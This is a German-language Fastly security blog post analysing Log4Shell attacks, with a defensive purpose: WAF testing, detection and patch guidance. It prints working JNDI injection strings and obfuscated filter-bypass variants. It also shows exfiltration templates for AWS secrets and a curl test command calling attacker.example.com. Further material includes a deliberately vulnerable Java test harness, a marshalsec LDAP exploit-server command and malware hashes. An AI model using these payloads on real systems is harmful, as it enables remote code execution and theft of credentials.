Neue Daten und Erkenntnisse zu Log4Shell-Angriffen (CVE-2021-44228 + CVE-2021-45046)

Fastly Security Research Team

Fastly Security Research Team, Fastly

Xavier Stevens

Staff Security Researcher, Fastly

Simran Khalsa

Staff Security Researcher

14. Dezember 2021

Brancheneinblicke Security

Was Sie unbedingt wissen sollten

Das Patchen dieser Schwachstelle ist nach wie vor die empfohlene Abhilfemaßnahme gegenüber allen anderen Optionen.
Diese Schwachstelle wird weiterhin aktiv ausgenutzt.
Unsere WAF-Kunden können entsprechende Schutzregeln selbst aktivieren.
CCVE-2021-45046 – Patch 2.15 für log4j war unvollständig, woraufhin wir Patch 2.16 veröffentlicht haben.

Kurze Wiederholung

Letzte Woche haben wir die jüngste Log4j-Schwachstelle, die umgangssprachlich als Log4Shell bezeichnet wird, sowie unsere ersten Beobachtungen von Angreifern, die diese Schwachstelle ausnutzen (oder dies versuchen) erläutert. Ein Angreifer kann Text an eine verwundbare Logging-Pipeline übergeben und dann beliebigen Code auf dem verwundbaren Host ausführen. Die einfache Ausnutzung und die weite Verbreitung von Log4j – viele Java-basierte Business-Applikationen verwenden es als bevorzugte Logging-Bibliothek – haben Angreifern eine reizvolle Chance eröffnet, die sie innerhalb weniger Tage für Cryptomining- und Botnet-Kampagnen ausnutzten.

Wir beobachten, dass sehr viele Angreifer diese Schwachstelle weiterhin ausnutzen. Daher teilen wir in diesem Blogpost unsere neuesten Daten und Erkenntnisse, um die Community der Sicherheits- und Softwareentwickler bei der Bewältigung dieser Situation zu unterstützen. Außerdem geben wir Ihnen Hinweise, wie Sie Ihre Umgebung auf viele der neu aufgetauchten Verschleierungsmethoden testen können.

Einzelheiten

Der Trend, über den wir bereits berichtet haben, zeigt, dass das Volumen der Angriffe in den ersten 24 Stunden (15:30 Uhr GMT am 9. Dezember bis 15:30 Uhr GMT am 10. Dezember) deutlich zunahm. Dieser Trend setzte sich in den folgenden vier Tagen (bis 15:30 Uhr GMT am 14. Dezember) sogar noch stärker fort, was auf ein anhaltendes Interesse an der Schwachstelle schließen lässt. Bei diesen Daten handelt es sich zweifellos um eine Kombination aus Aktivitäten von Angreifern und Verteidigern. Sie zeigen aber auch, dass das Problem für das Internet insgesamt noch nicht unter Kontrolle gebracht wurde – alle sind immer noch damit beschäftigt, die Auswirkungen zu verstehen und mit einer sich schnell entwickelnden Situation umzugehen.

Angreifer konzentrieren sich nach wie vor hauptsächlich auf LDAP als Log ihrer Wahl, das in über 86 % der Angriffe verwendet wird. Aber wir haben auch gesehen, dass Angreifer jedes Protokoll nutzen, das der JNDI-Callback in ihren URIs zulässt:

Umgehungen

Auf Twitter, in Foren und Gruppenchats weltweit finden lebhafte Diskussionen statt, die das Interesse an der Schwachstelle weiter anheizen. Durch diese Diskussionen wird außerdem erforscht, wie sich Abschwächungsmaßnahmen und Überwachungsmaßnahmen bei der Ausnutzung von Log4Shell umgehen lassen. Mithilfe dieser Erkenntnisse könnten bessere Abwehrmaßnahmen entwickelt werden.

Die ursprüngliche Payload-Vorlage, über die wir in unserem vorherigen Blogpost gesprochen haben, war ${jndi:ldap://example.com:1234/callback}. Dieser String lässt sich zu Verteidigungszwecken recht einfach anpassen: ${} umschließt jndi:ldap://. Beide sind großartige Identifikatoren, nach denen Sie in den Logs suchen oder für die Sie Muster (RegEx) für WAF-Regeln schreiben können. Wie bei jedem Parser kann jedoch die Auswertung von verschachtelten Anweisungen die Identifizierung von Text erschweren. Der von Log4j verwendete Templating-Parser erweitert gerne verschachtelte Vorlagen. So können verschiedene Methoden zur Auswertung desselben Strings verwendet werden. Wir haben einige davon aus unseren Logs extrahiert, die alle zum gleichen Ergebnis führen (siehe unten). Die Erstellung einfacher Heuristiken zur Erkennung von Angriffen wird dadurch erschwert:

${jn${lower:d}i:l${lower:d}ap://example.${lower:c}om:1234/callback}

${${lower:${lower:jndi}}:${lower:ldap}://example.com:1234/callback}

${${::-j}${::-n}di:${::-l}d${::-a}p://example.com:1234/callback}

Informationslecks

In den letzten vier Tagen wurden wir auch Zeugen einer beträchtlichen Anzahl von Angriffen, die versuchten, mittels Templating Daten aus Umgebungsvariablen und Java Systemeigenschaften zu extrahieren: ${jndi:ldap://example.com:1234/callback/${env:USER}.

Bei der Auswertung dieses Templates wird der String ${env:USER} durch den Nutzernamen ersetzt, der die JVM ausgeführt hat. Anhand unserer Telemetrie haben wir festgestellt, dass 35 % aller eindeutigen URIs mindestens eine Vorlage für die Datenextraktion enthalten, wobei die folgenden Vorlagen bei Angreifern am beliebtesten sind:

${env:PATH}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_ACCESS_KEY_ID}
${sys:user.name}
${sys:java.version}
${sys:os.version}
${env:USER}
${java:os}
${date:MM-dd-yyyy}
${date:dd:MM:yyyy}

Tools für Angriffe auf Webanwendungen

Wir beobachten eine starke Nutzung einer kleinen Anzahl von Test-Websites, die für die anfängliche Template Injection verwendet wurden. Diese Websites sind größtenteils mit bekannten Sicherheitstools verbunden und werden manchmal rechtmäßig für Forschungszwecke und autorisierte Tests verwendet. Sie können aber auch von böswilligen Akteuren genutzt werden. Auf die folgenden vier Domains entfallen 91 % aller eindeutigen URIs, die wir vom 9. bis 14. Dezember beobachtet haben:

Die Website verwendet dabei jedes Mal eine Subdomain, die als eindeutige Kennung des Nutzers dient, der den Test durchführt (was zur Anzahl der einzigartigen Instanzen beiträgt). Es ist wichtig zu beachten, dass Websites wie diese in der Regel keinen aktiven LDAP-Listener unterstützen, sodass der gelieferte Rückruf nicht zu einer vollständigen Exploit-Kette führen würde. Der Angreifer kann jedoch nach wie vor eine Benachrichtigung erhalten, dass eine Antwort erfolgreich ausgelöst wurde, und dann ein anderes Tool oder eine andere Website verwenden, um den Rest seiner Aktivitäten zu starten.

Payloads

Die anfänglichen Payloads, die am ersten Tag geliefert wurden, waren einfacher Art und bestanden aus einem einfachen Informationsrückruf oder der Ausführung eines einfachen Befehls. Leider haben sich im Laufe der Zeit auch die Aktionen der neuesten Payloads verändert.

Wir haben beobachtet, dass Befehle auf Host-Ebene weiterhin Runtime.getRuntime().exec() aufrufen, um Unix Befehle wie curl und wget auszuführen, aber in jüngerer Zeit gab es auch Hinweise auf die Ausführung von PowerShell. Darüber hinaus exfiltrierte eine Instanz von wget die Datei /etc/hosts des Hosts und versuchte offensichtlich, den angegriffenen Host auszuspionieren. Eine dekompilierte Java Klasse verwendet HttpURLConnection, um Details auf Host-Ebene über die Active-Directory-Domain hochzuladen, zu der der Host gehört. Dies deutet darauf hin, dass Angreifer sich auf skalierbare Kampagnen gegen Unternehmen vorbereiten.

In einer anderen Exploit-Kette sahen wir Angreifer-Tools zur Installation und Ausführung der DDoS-Botnet-Malware Gafgyt auf dem Host. Den Hash und den Dateinamen jeder der von uns entdeckten Dateien finden Sie im Abschnitt „Angriffsindikatoren“ am Ende dieses Blogposts.

Nächste Schritte

Angriffsmuster testen

Es ist schwierig, die Anwendbarkeit der Angriffsmuster (ob das Angriffsmuster tatsächlich erfolgreich wäre oder nicht) in Ihrer gesamten Umgebung zu beurteilen. Zum Glück gibt es eine Reihe von Möglichkeiten, Angriffsmuster zu testen. Am einfachsten ist es, den folgenden curl-Befehl auf einen gefährdeten Service anzuwenden. Ersetzen Sie den Teil in den geschweiften Klammern durch Ihre Payload und stellen Sie sicher, dass der Teil am Ende Ihren WAF-geschützten Dienst darstellt (z. B. eine Website, die sich bei einer Ihrer Java Anwendungen anmeldet).

curl -X GET -H 'User-Agent: ${jndi:ldap://attacker.example.com:1389/a}' 'https://wafprotected.example.com'

Bedenken Sie beim Testen, dass dieser Exploit sich auch auf alle nachgelagerten Loggingsysteme auswirkt, falls eine Schwachstelle vorliegt. Stimmen Sie sich also vorher mit allen relevanten Beteiligten ab. Neben der Verwendung von curl können Sie auch ausgefeiltere Tools wie den Log4Shell-Scanner) von Burp Suite, Postman oderWAF-Testing-Tools verwenden, um diese Muster an verschiedenen anderen Stellen in der Anfrage und nicht nur im User-Agent-String zu senden.

Wie Sie im Screenshot oben sehen können, wird die Payload von einer WAF erkannt und blockiert.

Ist meine Payload gültig?

Es kann Ihnen gelingen, die Payloads an die Anwendung zu übermitteln, aber das allein bedingt noch keinen Exploit der Anwendung durch die Angriffsmuster. Der einfachste Weg, um zu testen, ob Ihre Beispiel-Payload gültig ist, besteht darin, eine einfache Testanwendung in Java zu erstellen. Hier ein Beispiel für eine einfache Java-Anwendung, die Sie verwenden können:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTestHarness {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String userInput = "${jndi:ldap://127.0.0.1:1389/a}";

        logger.error("this is a thing {}", userInput);
    }
}

Bevor Sie loslegen, sollten Sie einige Punkte beachten. Passen Sie zunächst die Systemeigenschaft von com.sun.jndi.ldap.object.trustURLCodebase (wie im Beispiel oben zu sehen) an Ihre Umgebung an. Denken Sie daran, dass diese Eigenschaft in neueren Java Versionen standardmäßig auf false gesetzt ist. Die wichtigste Variable ist der Wert userInput. Hier fügen Sie die schädliche Payload des Tests ein, damit sie für den Exploit an Log4j weitergegeben wird.

Sobald die Anwendung kompiliert und zur Ausführung bereit ist, besteht der nächste Schritt darin, einen LDAP-Server einzurichten. Wir empfehlen dafür die Verwendung eines Tools wie marshalsec. Sobald Sie marshalsec geklont und kompiliert haben (befolgen Sie dabei die Anweisungen im Repository), können Sie folgenden Befehl ausführen, um den Server zum Laufen zu bringen:

java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8888/#Exploit"

Sobald der LDAP-Server marshalsec gestartet wurde, führen Sie Ihre kompilierte Log4j-Testanwendung aus und überprüfen, ob die Anwendung mit Ihrem Service kommuniziert. Wenn Ihnen der JNDI-Angriff gelungen ist, sollte der Output in etwa so aussehen:

Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to 
http://localhost:8888/Exploit.class

Wie in unserem vorherigen Blogpost erwähnt, finden Sie hier ein ausführlicheres Beispiel-Repository, das Ihnen eine Vorstellung davon vermittelt, wie Sie diese Anwendung erstellen können.

Was Sie als Fastly Kunde tun sollten:

Wie können Sie sicherstellen, dass Ihre WAF Sie vor Log4Shell-Angriffen schützt? Der erste Schritt besteht darin, zu überprüfen, ob Sie die entsprechende Regel in Ihrer Umgebung aktiviert haben.

Kunden unserer Next-Gen WAF (ehemals Signal Sciences) sollten die Ratschläge in unserem vorherigen Blogpost befolgen.

Kunden der Fastly Web Application Firewall (2020) können die Regel wie folgt bereitstellen:

Auf die Seite „Manage Rules“ der jeweiligen WAF gehen
Die aktive WAF-Version klonen („Clone“), um einen Entwurf zu erstellen
Mit dem Suchauftrag Scope: „Include all“ nach der CVE-Nummer CVE-2021-44228 suchen
Regel im Blocking oder Logging Mode hinzufügen („Add Rule“) und aktivieren

Für bestehende WAF-Kunden können wir VCL-basierte Abhilfemaßnahmen gegen diese Bedrohung bereitstellen. Wenn Sie Unterstützung bei der Anwendung dieser Konfiguration wünschen, wenden Sie sich bitte unter securitysupport@fastly.com an unser CSOC Team.

Außerdem haben wir auf Wunsch unserer Kunden, die eine aggressivere Filterung wünschen, eine strengere Regel zur Erkennung und Blockierung der bei diesem Angriff verwendeten Methoden eingeführt. Erfahren Sie mehr über diese Abwehroptionen und ihre Anwendung.

Fazit

Das Patchen dieser Schwachstellen ist nach wie vor die empfohlene Abhilfemaßnahme gegenüber allen anderen Optionen. Am 14. Dezember hat Apache Log4j 2.16.0 veröffentlicht, das über die Behebung der Schwachstellen hinausgeht und die JNDI-Funktion standardmäßig vollständig deaktiviert. Außerdem wird damit das inCVE-2021-45046 beschriebene Problem mit dem JNDI-Lookup behoben.

Da sich diese Bedrohung ständig weiterentwickelt, werden wir die Situation weiter beobachten und unseren Kunden geeignete Schutzmaßnahmen anbieten.

Angriffsindikatoren

Java classes
bb6967f006c0680874389c54b2322707a41e16e5  exp.class
0679b5145c208091f06928bb4601940b0efb86bf  exploit.class
ff30416ab305aada2a0e3fbbd05ca32e82438f1c  Log4jRCE.class
0679b5145c208091f06928bb4601940b0efb86bf  exploit.class
5fcff086eafd4bed4e42687427fd00910fe26b1e  ExploitD.class
bd97f9eba8b7a879d775714ee1a4a815b73fd210  Exploit.class
dc7d2d19e3893b810be6a5a280a5eed79342367a  Runner.class
Dc7d2c3b0286b7d36a1382b6b4dca1afeb5448e2  Runner.class
4c2ddff1ca4003ca5e3ad897363b55c21041155d  ExploitD.class
b3651f2e069c9db83f35eda3cc663ecfb8167d99  Exploit.class

DDoS malware delivered through Log4Shell Chain
b1ea87a2db9756bfe8328ac0dd1204c4501e63f4  pty1
12dff86ffceaa394adbd9355e3affe7730b34fa5  pty2
e3eb1e98ca477918154b9ed7bcc2b7fe757c1020  pty3
31516a917e8b1fe083de5f64dbcb413681c62ff2  pty4
4dafb50d1de86068915ed71dcc97f5ccc78f6123  pty5